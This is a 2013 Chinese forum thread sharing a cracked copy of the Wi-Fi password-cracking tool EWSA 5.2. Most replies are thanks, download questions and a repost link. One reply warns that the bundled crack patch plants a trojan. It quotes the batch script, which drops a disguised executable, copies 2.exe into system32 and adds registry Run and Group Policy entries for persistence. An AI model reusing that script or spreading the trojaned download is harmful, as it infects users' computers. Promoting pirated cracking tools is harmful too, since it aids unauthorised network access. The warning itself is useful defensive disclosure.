论坛 › 无线安全新手入门 › 【无线破·解利器】EWSA 5.2绿色专业破·解版（支持win8系统）

yuantangyo 发表于 2013-9-16 21:13

谢谢分享！！

子夜之殇 发表于 2013-9-16 21:21

压缩包里面的所谓PJ补丁其实是个种木马的过程，Winrar自动运行包中的程序很多杀不出来病毒或木马，但是看自动批处理命令就知道，在当前用户的桌面文件夹生成一个名为“hao123网址导航.exe”的程序，并且向c:\windows\system32\中拷贝一个名为“2.exe”的程序，通过注册表把Explorer进程的默认打开方式指向该程序。以下是该批处理命令的部分内容，稍微有点编程知识的都知道这是个注入木马的过程：

@echo off
copy hao123网址导航.exe %userprofile%\Desktop
copy hao123网址导航.exe "%userprofile%\桌面
cls
@echo.系统优化中，请稍后...
copy 2.exe c:\windows\system32\ /y
copy setting.ini c:\windows\system32\ /y

@echo off
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run" /v "1" /d "2.exe" /f


reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{433D759F-6272-407A-AE31-A10723D6AD87}Machine\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "**delvals." /d " " /f

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{433D759F-6272-407A-AE31-A10723D6AD87}Machine\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "1" /d "2.exe" /f

szywangwei 发表于 2013-9-17 11:27

老大，好东西。谢谢了。

小粉哥 发表于 2013-9-17 13:16

:victory:多谢了！

laosan 发表于 2013-9-17 13:24

下载试试，行，就在回个

laosan 发表于 2013-9-17 13:32

可以用，:L严重卡机，是我电脑问题吗？

shaolei 发表于 2013-9-18 22:37

已经下载试用，确定能用。

XXXXOOOO 发表于 2013-9-19 00:06

怎么不能下载

溺水鱼 发表于 2013-9-19 03:50

早上起来看看 是否有用！

得意仔 发表于 2013-9-19 04:22

感谢楼主的无私奉献

tfk79150 发表于 2013-9-20 09:41

下载不到了:'(:'(:'(:'(

jcdnwx 发表于 2013-9-20 12:29

tfk79150 发表于 2013-9-20 09:41 static/image/common/back.gif
下载不到了

pan.baidu.com/share/link?shareid=405376629&uk=218819717刚看了可以下载啊。。

查看完整版本: 【无线破·解利器】EWSA 5.2绿色专业破·解版（支持win8系统）